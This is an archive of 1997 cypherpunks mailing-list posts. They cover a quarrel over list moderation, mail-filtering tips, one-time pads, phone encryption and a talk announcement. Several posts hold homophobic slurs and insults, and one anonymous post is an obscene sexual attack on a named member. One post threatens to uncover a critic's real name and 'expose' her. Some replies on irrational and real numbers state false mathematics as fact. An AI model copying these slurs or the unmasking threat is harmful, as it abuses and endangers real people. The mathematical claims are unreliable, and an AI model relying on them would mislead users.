>    > > and refute their lies. The concept of "the best response to speech you
>    > > don't like is more speech" is totally alien to the homosexual subculture
>    > > on the Internet. These control freaks are into censorship and B&D.
>    > 
>    > Here's a problem.  I don't have "technical" capabilities in the area of
>    > communications software, and I have too full a plate to start studying
>    > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
>    > allow people to attack others, then cut the responses.
>    > 
>    > If he does this, and he doesn't rectify it when it's called to his
>    > attention, he would need to be punished in some way.  One of the
>    > questions I have is, how do I know what's cut when all I subscribe to
>    > is the uncensored list?  I do *not* want to subscribe to the filtered
>    > list plus the "flames" list, out of principle.  Is this something that
>    > would be forced on me/us in order to monitor the censorship?
>    > 
>    > In other words, can I separate the censored email without having to
>    > have two accounts?
>    > 
> 
>    it is easy undex unix, what you have to do is store arriving article
>    in separate directories by message ID and run diff (with certain
>    corrections) on these two directories.
> 
>    diff will print you the files that are in one dir and not in another.
> 
>    take an extraction, and delete too new articles (so that propagation
>    does not screw you up).
> 
>    thats it
> 
> If you just want the differences and aren't too concerned with
> timeliness, I'm planning on running a cypherpunks-rejects list containing all
> the messages that went out the unedited list but didn't show up on the
> moderated one within x hours (not sure what x should be yet).
> 

Then you must use two separate addresses to do that right.
And you may want them to both be UNIX or at least the same OS
at each location, so you can write some batch programs to
save you the manual wwork.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 19 Jan 1997 06:10:42 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <199701190526.XAA00327@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970119090855.7506J-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Igor Chudov @ home wrote:

> Bryan Reece wrote:
> > 
> >    Dale Thorn wrote:
> >    > 
> >    > Dr.Dimitri Vulis KOTM wrote:
> >    > > Someone wrote to me:
> >    > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
> >    > > >write what the fuck they like but straight or intelligent or NORMAL
> >    > > >people will have to be filtered.
> >    > 
> >    > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
> >    > > like Jason Durbin will continue to post personal attacks on Gilmore's
> >    > > many "enemies", but the victims of the libel will not be able to respond
> >    > > and refute their lies. The concept of "the best response to speech you
> >    > > don't like is more speech" is totally alien to the homosexual subculture
> >    > > on the Internet. These control freaks are into censorship and B&D.
> >    > 
> >    > Here's a problem.  I don't have "technical" capabilities in the area of
> >    > communications software, and I have too full a plate to start studying
> >    > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> >    > allow people to attack others, then cut the responses.
> >    > 
> >    > If he does this, and he doesn't rectify it when it's called to his
> >    > attention, he would need to be punished in some way.  One of the
> >    > questions I have is, how do I know what's cut when all I subscribe to
> >    > is the uncensored list?  I do *not* want to subscribe to the filtered
> >    > list plus the "flames" list, out of principle.  Is this something that
> >    > would be forced on me/us in order to monitor the censorship?
> >    > 
> >    > In other words, can I separate the censored email without having to
> >    > have two accounts?
> >    > 
> > 
> >    it is easy undex unix, what you have to do is store arriving article
> >    in separate directories by message ID and run diff (with certain
> >    corrections) on these two directories.
> > 
> >    diff will print you the files that are in one dir and not in another.
> > 
> >    take an extraction, and delete too new articles (so that propagation
> >    does not screw you up).
> > 
> >    thats it
> > 
> > If you just want the differences and aren't too concerned with
> > timeliness, I'm planning on running a cypherpunks-rejects list containing all
> > the messages that went out the unedited list but didn't show up on the
> > moderated one within x hours (not sure what x should be yet).
> > 
> 
> a lot, since moderators sleep, eat, go to movies, etc.
> 
> 	- Igor.
> 

But x should be no more than 24.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 09:29:24 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970119011900.13146D-100000@crl13.crl.com>
Message-ID: <32E259C9.7B20@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sat, 18 Jan 1997, Dale Thorn wrote:
> > Do we now have to have occasional assurances that the "unedited" list
> > is not being restrained?  I thought that was a given, beyond question
> > of any kind.  I thought *all* of the controversy revolved around the
> > edited/censored list (having stole the original list's name), and that
> > everyone understood that the uncensored list was untouchable.  But now
> > Sandy is taken to offering reassurances.  What's next??

> Dale, don't be such an ass.  If "everyone understood that the
> uncensored (sic) list was untouchable" then why have you and
> others continued to challenge that proposition.  You have put
> forward the classic heads-I-win-tails-you-lose logical fallacy.
> If I say nothing to support the proposition you whine about a
> "hidden agenda."  If I reaffirm my commitment to the plan, you
> spout pop psychological nonsense of the "the lady doth protest
> too much variety."  Which is it, Dale?  You are so transparent.

Your/Gilmore's *renaming* of the original list, and co-opting of the
*original* name for the edited list is prima facie evidence of bad
faith, i.e., a transparent attempt to fool the public into accepting
that the edited list is the *real, original* list, despite the dis-
claimer put forth in the introduction to the new plan (a paragraph
that few will read, and much fewer will remember).

I'll make you a deal, even though I hold no *real* cards.  Set the
original name back to the original, unedited list, and vice-versa,
and I'll back off of all these complaints, assuming that you don't
try something else that impinges on the integrity of the original list.

As far as hidden agendas go, the flip side of that coin is that I'm
expected to believe that Gilmore is the Mother Teresa of the Internet,
or something like that.  Personally, I don't care what scam you or he
could possibly (hypothetically) be involved in, as long as it doesn't
impinge on certain essential liberties and truths, in a way that
offends me.  If you insist that what you and he are doing is totally
non-profit, has nothing to do with government grants or spying, etc.,
and is purely a personal hobby-type pursuit, well, I don't really
believe in the Easter Bunny, and please forgive me for not believing
this one.  Note that I'm not attacking you purely because I'm alleging
(hypothetically) that you have an ulterior motive for the work you're
doing on cypherpunks, I'm merely pointing out reasonable speculations
which could account for what's happening here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 19 Jan 1997 06:50:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: INV_ade
Message-ID: <1.5.4.32.19970119144516.006792bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


1-19-97. NYP:

"At the New Frontier of Eavesdropping." Markoff.

  Many phone companies are now rushing to introduce new
  digital services that provide better sound quality. But
  when security standards were set for the new systems five
  years ago, technical experts from the Government
  discouraged the phone companies from building in coding
  systems that would be difficult to break. Moreover, the
  phone companies themselves decided that real privacy was
  not a major issue. "Time to market turned out to be more 
  important than real security," said John Gilmore.

  Indeed, in recent weeks the supposedly secret formula for
  scrambling digital wireless phone calls was posted to an
  Internet mailing list. That virtually insures that hackers
  will soon create a way to modify scanners like the one the
  Martins used, making digital calls just as vulnerable as
  analog calls are today. "There's a period in which privacy 
  prevails over surveillance, but it's never for very long."

-----

INV_ade





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 10:10:56 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E259C9.7B20@gte.net>
Message-ID: <Pine.SUN.3.91.970119094124.16633B-100000@crl9.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 19 Jan 1997, Dale Thorn wrote:

> Your/Gilmore's *renaming* of the original list, and co-opting of the
> *original* name for the edited list is prima facie evidence of bad
> faith,...

Sophist, paranoid nonsense.  This one-month test is of a 
moderated *Cypherpunks* list.  So there was no renaming.
The unedited list was a gimme for cry babies such as Dale.  
When the test is complete, things will go back to the previous
status if that's what folks want.  If not, Cypherpunks will 
continue as a moderated list (of some sort, further test may be
conducted if list members want). 

> i.e., a transparent attempt to fool the public...

(a) If it were transparent, it wouldn't fool anyone, now would it?
(b) I've stated it all clear enough so that only the most naive
    persons could infer an attempt to fool anyone.
(c) "The public" has nothing to do with it.  This is a private list.
 
> I'll make you a deal, even though I hold no *real* cards.  Set the
> original name back to the original, unedited list, and vice-versa,
> and I'll back off of all these complaints, assuming that you don't
> try something else that impinges on the integrity of the original list.

Maybe after the test if that's what folks want.  In the meantime,
hey Dale, knock yourself out.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 08:46:59 -0800 (PST)
To: aga@dhp.com (aga)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <Pine.LNX.3.95.970119090855.7506J-100000@dhp.com>
Message-ID: <199701191643.KAA03069@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


aga wrote:
> On Sat, 18 Jan 1997, Igor Chudov @ home wrote:
> > Bryan Reece wrote:
> > > 
> > >    Dale Thorn wrote:
> > > 
> > > If you just want the differences and aren't too concerned with
> > > timeliness, I'm planning on running a cypherpunks-rejects list containing all
> > > the messages that went out the unedited list but didn't show up on the
> > > moderated one within x hours (not sure what x should be yet).
> > > 
> > 
> > a lot, since moderators sleep, eat, go to movies, etc.
> > 
> > 	- Igor.
> > 
> 
> But x should be no more than 24.
> 

Yeah, 24 is a good ballpark figure.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 08:51:10 -0800 (PST)
To: aga@dhp.com (aga)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <Pine.LNX.3.95.970119090506.7506I-100000@dhp.com>
Message-ID: <199701191645.KAA03106@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Prof. aga wrote:
> 
> On 19 Jan 1997, Bryan Reece wrote:
> >    it is easy undex unix, what you have to do is store arriving article
> >    in separate directories by message ID and run diff (with certain
> >    corrections) on these two directories.
> > 
> >    diff will print you the files that are in one dir and not in another.
> > 
> >    take an extraction, and delete too new articles (so that propagation
> >    does not screw you up).
> > 
> >    thats it
> > 
> > If you just want the differences and aren't too concerned with
> > timeliness, I'm planning on running a cypherpunks-rejects list containing all
> > the messages that went out the unedited list but didn't show up on the
> > moderated one within x hours (not sure what x should be yet).
> > 
> 
> Then you must use two separate addresses to do that right.
> And you may want them to both be UNIX or at least the same OS
> at each location, so you can write some batch programs to
> save you the manual wwork.
> 

No, one address is enough. You can look at a Unix tool called procmail,
which allows filtering of incoming messages. For example, you could
completely insulate yourself from, say, follower of clawed albino.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 19 Jan 1997 08:00:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.SOL.3.93.970118233859.4391A-100000@pegasus.montclair.edu>
Message-ID: <kDcs1D62w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > >
> > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > >
> > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > >
> > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > > I say we make people fly naked and ship their stuff via UPS ;
> > > > > >
> > > > > > > >     >>shudder<<
> > > > > > > >     No!. A clear case of the cure being worse than the disease.
> > > > > >
> > > > > > > Why. it might be fun - those long flight can be so boring with cl
> > > > > >
> > > > > > This one I really don't understand.  Cypherpunks lobbied heavily fo
> > > > > > the Final Solution to Spamming and flaming, now along comes the per
> > > > > > solution to the airport security problem, and nobody's gonna go for
> > > > > >
> > > > > > Guess those old, out-of-shape guys don't want anybody laughing at t
> > > > > > Besides, they can put all the clothes in the same plane's baggage
> > > > > > compartment.  And planes have those little blankets and pillows,
> > > > > > so what's the problem?
> > > > >
> > > > > 	Cold temps...
> > > >
> > > > What can naked people do to keep warm???
> > >
> > > 	steal blankets from nearby passenger..
> >
> > I once saw a movie where they had a heroin (or cocaine?) processing lab
> > and everybody was supposed to work naked so it would be hard to steal
> > some of the product. Of course in the movie all the employees were good-
> > looking women (Oksas would have been the big star!).
>
> 	Thank you for the complement;  You've only seen me with clothes :)

I can tell.

> 	Would you like to share my blanket?

Sure!  A true gentleman (like me) is always ready, willing, and able to share
a security blanket with a lady.

"Something nekkid's in the air!"

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Jan 1997 09:05:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: .1234567891011... is irrational?
Message-ID: <199701191701.LAA32650@einstein>
MIME-Version: 1.0
Content-Type: text



Hmmm,

irrational means "not expressible as the ratio of two integers" and
since the class of integers (I) includes the concept of infinity,


.123456789101112131415  =    1234567891011121314...
                            ------------------------
                                      n

where n -> infinity

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Sun, 19 Jan 1997 09:25:11 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <s4cR1D45w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970119111944.9833A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > can't figure out Majordomo or their mailers, and so on and so forth.
> > >
> > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > advocates censorship, most likely is one.
> >
> > Non sequitor.
>             ^
> Do "cypher punks" use lousy spelling as a kind of "poor fag's crypto"?

<sarcasm> (For those too stupid to see it except when explicitly denoted)

Ah, very strong response indeed. I feel as if shot down in flames, and my
mind aches from the slice of your wit. Deliver us, oh Vulis, for we are in
need!

</sarcasm>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 19 Jan 1997 11:38:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STEGO] Sphere packings
Message-ID: <199701191938.LAA32285@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May will fuck anything that moves, but he'd rather be fucking 
his own mother's dead body.

         \|/
        (*,*) Tim C. May
       _m_-_m_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Jan 1997 09:45:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Igor@home = Secret Squirrel
Message-ID: <199701191752.LAA00157@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

I am motivated to post this, something I would normaly not do, because of
the issue of trust of moderators that has arisen lately.

Igor and myself were in a discussion about number theory last nite. We
reached a point of impass. Igor made the suggestion that we bring the
discussion to cpunks. I requested that we drop the issue and specificaly not
bring it to cpunks. My reasoning had several facets. First, the position that
I was in is probably wrong. My motivation was to examine the methodology of
dis-proof (which I was disappointed with). Also, it is not a serious issue
with me and whether my particular view is right or wrong is irrelevant.
Cypherpunks is not the place for truly technical discussions (as is apparent
with even a cursory glance). Traffic on this list practicaly drowns my
ability to filter it and more drivel I (and probably you) don't need. And
finaly, the discussion was fine for a Saturday afternoon discussion, I don't
have the interest or time to carry it out over days or weeks, I have to work
for a living.

Igor agreed to drop the issue and not to bring it to the list. However, this
morning I find Secret Squirrel posting some questions which are taken
practicaly verbatin from my exchange w/ Igor. Seemed like a truly improbable
event.

Take it for what it's worth.

"An appeal to authority is an appeal to a human being just like yourself
 who does not have your best interests at heart. What makes you believe
 they are able to resolve your problems better than yourself?"


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: i.am.not.a.number@best.com
Date: Sun, 19 Jan 1997 11:44:57 -0800 (PST)
To: AaronH4321@aol.com
Subject: Re: One time pads and randomness?
Message-ID: <3.0.32.19970119115207.006b11d4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


as i have writ before, the sources i have read say that 
digits of the transcendentals are THOUGHT to be uniformly
and 'randomly' distributed --- in quotes because there are
many criteria for randomness and i don't mean to imply a 
specific one.  however, this supposision is no stronger
than a conjecture.  has not been proven, AFAIK.

At 02:06 PM 1/18/97 -0600, Igor Chudov @ home wrote:
>By the way, did anyone try to run "all randomness tests" on a sequence
>of digits of, say, decimal representation of "e"?
>
>igor
>
>Blake Coverett wrote:
>> 
>> > I want to use a one time pad pased crypto system. I understand that the
>> > randomness of the pad genorator is key to security(other than lossing the
>> > keys). What I want to know is if I use a psuedo-RNG that maybe repeats
its
>> > self every 1000 characters and use it to only encrypt messagase that are
>> > 100's of charaters long, will this be a major security risk? 
>> 
>> I'm afraid you've fallen into one of the standard traps.  A PRNG can *not*
>> make a OTP no matter how you use it.  
>> 
>> The total amount of entropy in a PRNG is the amount of entropy in the seed 
>> you use to key it.  All the other bits are directly derived from that seed.
>> 
>> A true OTP is completely secure from an information-theory point of view
>> because every byte has a full eight bits of entropy.  A PRNG can never
>> have this.
>> 
>> Having said all this, it is possible to make a good cipher from a PRNG.
>> RC4, for example, is exactly that and the variable sized key is the
>> seed for the PRNG.  It is however very difficult to come up with a
>> good algorithm for that cryptographically sound PRNG and you would
>> be much further ahead to use an existing one rather that trying to
>> roll your own.
>> 
>> > Say I create a 1 million character one time pad that passes all of the
>> > randomness tests. It is "truely random". I place it on two computers. Now
>> > when these two computers want to send email computer "A" grabs a chunk
of the
>> > one time pad  starting at a random point and encrypts it. It labels
the email
>> > with the random starting point and sends it to "B". There "B" moves to
the
>> > random point and begins decryption. During to process both computers mark
>> > that section of the OTP used so that they don't retransmit with it. I
realize
>> > this has a limited amount of messages before it is used up. But would
this be
>> > secure? Any suggestions, complaints, big gapping holes I missed? 
>> 
>> I don't see anything wrong as such, but there is nothing to be gained
either.
>> If your random data is real OTP material there is no need to skip to a
random
>> byte within it, just start at the beginning and use it in sequence.  If
your random
>> data is the output of a PRNG like the above then random starting point
doesn't
>> buy you much additional security because the entire set of keying
material can
>> be recreated from the seed.  It may increase the work-factor of
searching for
>> the key, but it also imposes the practical problem of keeping all that
keying
>> material secure.
>> 
>> More importantly don't confuse statistically random with cryptographically
>> random.  Just because a bunch of bits passes all the randomness test
>> you can think of doesn't mean it contains 100% entropy.  Consider the
>> digits of an irrational number like sqrt(2) or pi, the digits appear
statistically
>> random but they can be recreated from just a tiny bit of knowledge.
>> 
>> A good litmus test is to ask yourself if there is any way you can
>> reproduce those bits.  If there is, they aren't a one time pad.
>> (Of course even if you can't it doesn't mean they are good. :-)
>> 
>> regards,
>> -Blake
>> 
>
>
>
>	- Igor.
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: i.am.not.a.number@best.com
Date: Sun, 19 Jan 1997 11:44:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Wow.
Message-ID: <3.0.32.19970119115857.006aeea4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


i have no doubt that a certain amount of the noise on this list is
the work of agents provocateurs ... and we should just live with
it because its entire intent is a certain kind of denial-of-service
attack.

just ket used to taking extra time and using the delete function a lot.
there's still a lot on the list you don't get elsewhere.

ah..... if i only had my natural lang. agent running!

At 12:58 AM 1/19/97 -0500, Amanda Walker wrote:
>Well, in the week or two since resubscribing to Cypherpunks, I've seen a
>trickle of postings about cryptography, security, and privacy, and a flood
>of insults, harangues, fighting words, and so on.  Some of this reads more
>like a script from a Jerry Falwell TV spot than anything I recognize as
>"Cypherpunk" traffic.
>
>I don't care who's offended whom.  I'm not interested in participating in a
>forum where the supposed topic is submerged underneath a lot of adolescent
>alpha primate chest-beating.
>
>I'm off to look for a mailing list where people are ACTUALLY DISCUSSING
>CRYPTOGRAPHY AND IMPLEMENTING CRYPTOSYSTEMS.  This list may still be
>called "cypherpunks", but it doesn't have much cypherpunk left in it, as
>far as I can tell.
>
>Disgusted,
>
>Amanda Walker
>Senior Software Engineer
>InterCon Systems Corporation
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sir Robin of Locksley <tozser@stolaf.edu>
Date: Sun, 19 Jan 1997 10:21:07 -0800 (PST)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <199701191820.MAA24006@nic.stolaf.edu>
MIME-Version: 1.0
Content-Type: text/plain


 -----BEGIN PGP SIGNED MESSAGE-----

>Dear Cypher Punks,
 >
 >I BEG YOU TO HELP ME!!!
 >
 >Is it possible to prove that number 0.1234567891011121314151617181920...
 >iz irrational? 
 
Most definately. All you need to do is prove that the set of this number is
uncountable, ergo is irrational. If you have friend who have done math in real
analysis they can explain more.

>
 >Or may be it is rational?
 >
 >Also, another question for math geniuses here: 
 >
 >Is it REALLY true that there are real numbers that cannot be generated
 >by any algorithm? Some guy said that since the set of algorithms is
 >countable, but the set of real numbers is more than countable, there 
 >must be some numbers for which there is no algorithms that generate them.
 
If you show me an algorythm that calculates the real number TT (=3.14.....)
I'll give you a Nobel Prize personally!

>
 >But I still do not believe him.
 >
 >Also, is it true that the sequence of digits in e is random because the ONLY
way to get to the
 >p'th digit is to calculate the p-1'st digits?
 >
Exactly! This is called recursive definition. To get the p-th set in the
sequence you need to find p-1 first...

>Also, is it the correct definition of a real number: 
 >
 >``A real number is the class of numbers which can represent the length of
 >an arbitrary line.''
 
Well, that is not entirely true... The length of any arbitrary line can be any
number, rational, natural, etc. Real numbers are the numbers that defy all
other categorization (they are not rational, irrational, natural, etc.) They
are complex and despite any instinctual perception, there are a lot of them!
 
I don't know if these maed a lot of sense but all of these questions are
answered in a good Elementary Real Analysis book.

>
 >
 >I AM REAL DESPERATE FOR YOUR ASS ISTANCE.

Sincerely,

Gabe
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 ---------------------------------------------------
|    Gabor K. Tozser     |  1500 St. Olaf Ave.      |
|     St. Olaf College   |  Northfield, MN 55057    |
 ---------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 19 Jan 1997 09:53:18 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: the clawed albino follower cunt
In-Reply-To: <199701191645.KAA03106@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970119124725.17248B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997, Igor Chudov @ home wrote:

> Prof. aga wrote:
> > 
> > On 19 Jan 1997, Bryan Reece wrote:
> > >    it is easy undex unix, what you have to do is store arriving article
> > >    in separate directories by message ID and run diff (with certain
> > >    corrections) on these two directories.
> > > 
> > >    diff will print you the files that are in one dir and not in another.
> > > 
> > >    take an extraction, and delete too new articles (so that propagation
> > >    does not screw you up).
> > > 
> > >    thats it
> > > 
> > > If you just want the differences and aren't too concerned with
> > > timeliness, I'm planning on running a cypherpunks-rejects list containing all
> > > the messages that went out the unedited list but didn't show up on the
> > > moderated one within x hours (not sure what x should be yet).
> > > 
> > 
> > Then you must use two separate addresses to do that right.
> > And you may want them to both be UNIX or at least the same OS
> > at each location, so you can write some batch programs to
> > save you the manual wwork.
> > 
> 
> No, one address is enough. You can look at a Unix tool called procmail,
> which allows filtering of incoming messages. For example, you could
> completely insulate yourself from, say, follower of clawed albino.
> 
> 	- Igor.
> 

But I am not the one who needs insulated.  I have a nice ISP who
does not get intimidated, but there are a dozen other guys out there
who the bitch has tried to eliminate access for in the past couple of
years, so the bitch is about to get exposed.

I have people working who will find out the real name of that cunt 
in the near future.  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 19 Jan 1997 13:44:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: KeyKOS related system lecture at Stanford
Message-ID: <v03007806af083d674236@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


I received the following from Jonathan.  Those of you who are interested in
KeyKOS should know that his system, EROS, is an architectural descendent of
KeyKOS.

---------------------------------------------
Date: Sun, 19 Jan 1997 15:13:11 -0500
From: "Jonathan S. Shapiro" <shap@eros.cis.upenn.edu>
To: ...
Subject: Talk info NOTE TIME CORRECTION

I'll be giving a talk on Wednesday at Stanford in the EE380 seminar.
Details on the seminar can be found at

	http://www-leland.stanford.edu/class/ee380/

under 'winter 1996'.

The location and time are:

	Wednesday at 4:15pm
	Hewlett Packard Auditorium (Room B1)
	Gates Computer Science Building
	Stanford Univeristy

The basic structure of the talk will be:

	explain what active networking means, and why confinement and
		fault isolation are required.
		(the problem)

	identify the properties needed for confinement and fault
		isolation proofs, what capabilities are, and why
		non-capability systems do not have these properties
		(why we need them)

	describe the objects named in EROS/KeyKOS, and why these are
		the right choices for high performance
		(how to get performance)

	show how this system might be used to construct an active
		networking router or endpoint.
		(how to use them for this problem)

I'm still working on the talk, so the order may get rearranged.

Hope to some or all of you there.


Jonathan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Jan 1997 11:12:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL (fwd)
Message-ID: <199701191919.NAA00377@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Sun, 19 Jan 1997 12:20:45 -0600
> From: Sir Robin of Locksley <tozser@stolaf.edu>

>  >Is it possible to prove that number 0.1234567891011121314151617181920...
>  >iz irrational? 
>  
> Most definately. All you need to do is prove that the set of this number is
> uncountable, ergo is irrational. If you have friend who have done math in real
> analysis they can explain more.

irrational means 'not expressible as the ratio of two integers', this does
not imply uncountable.

Whether 0.12345678910111213... is irrational or not depends on how we choose
to define a rational number where the denominator and numerator are both
approaching infinity and how quickly those approaches occur.

[ What is your definition of infinity/infinity ?]

As alluded to before,

  0.12345678910111213    =    12345678910111213.... / n 

  (where n = infinity)
 
0.123456789101112... is certainly countable because by the definition of
countable it must be 1-to-1 with the counting numbers (ie non-negative
integers), which this one clearly is since it contains each positive
non-zero integer (ie the set of numbers required to produce the number are
clearly less, 1 less to be exact, than the counting numbers).

> If you show me an algorythm that calculates the real number TT (=3.14.....)
> I'll give you a Nobel Prize personally!

c=2pi*r

so,

pi = c/2r

You have a algorithm (ie recipe) for determining pi to whatever degree of
precision you are willing to go to. If you insist on using a digital
computer (whose domain of operation is limited to rationals by defintion)
then you are doomed to fail. However, move to analog computers (eg a
compass) and it can be quite easy to calculate, though not easy to plug into
an equation.

> Well, that is not entirely true... The length of any arbitrary line can be any
> number, rational, natural, etc. Real numbers are the numbers that defy all
> other categorization (they are not rational, irrational, natural, etc.) They
> are complex and despite any instinctual perception, there are a lot of them!

Complex numbers are not a member of the Reals, rather the Reals are a
sub-set of the Complex.

[ I recognize this is not what you meant but,

"The slovenliness of our language makes it easier to have foolish thoughts."

                                              George Orwell                ]


VNR Concise Encyclopedia of Mathematics, 15th ed.
ISBN 0-442-22646-2
pp. 74

"If every segment is to have a numerical measure as its length, then a new
domain of numbers is needed, an extension to the domain of rational numbers.
This new domain can no longer be constructed, as in the previous case, by
number pairs. But hints for its construction are provided by a theoretical
analysis of the measuring process for segments."

A mathematicaly rigorous defintion of the class of numbers called 'Real'
is that which equates the members of that set to the possible lengths of an
arbitrary line segment.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 19 Jan 1997 13:44:49 -0800 (PST)
To: Adam Back <paul@fatmans.demon.co.uk
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <853575672.913148.0@fatmans.demon.co.uk>
Message-ID: <v03007808af0842c7858c@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:39 AM -0800 1/16/97, Adam Back wrote:
>- PIN for phone's RSA signature keys

It is not clear you need signatures in the secure phone case.  Eric
Blossom's 3DES uses straight DH for key exchange with verbal verification
that both ends are using the same key.  As long as the man in the middle
can't imitate a familiar voice, this procedure is reasonably secure.

I agree that signatures of some kind are needed to identify the phone to
the cell company to prevent an all too familiar technique of stealing phone
service.  But this protection would not be a 3rd party cell phone upgrade.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






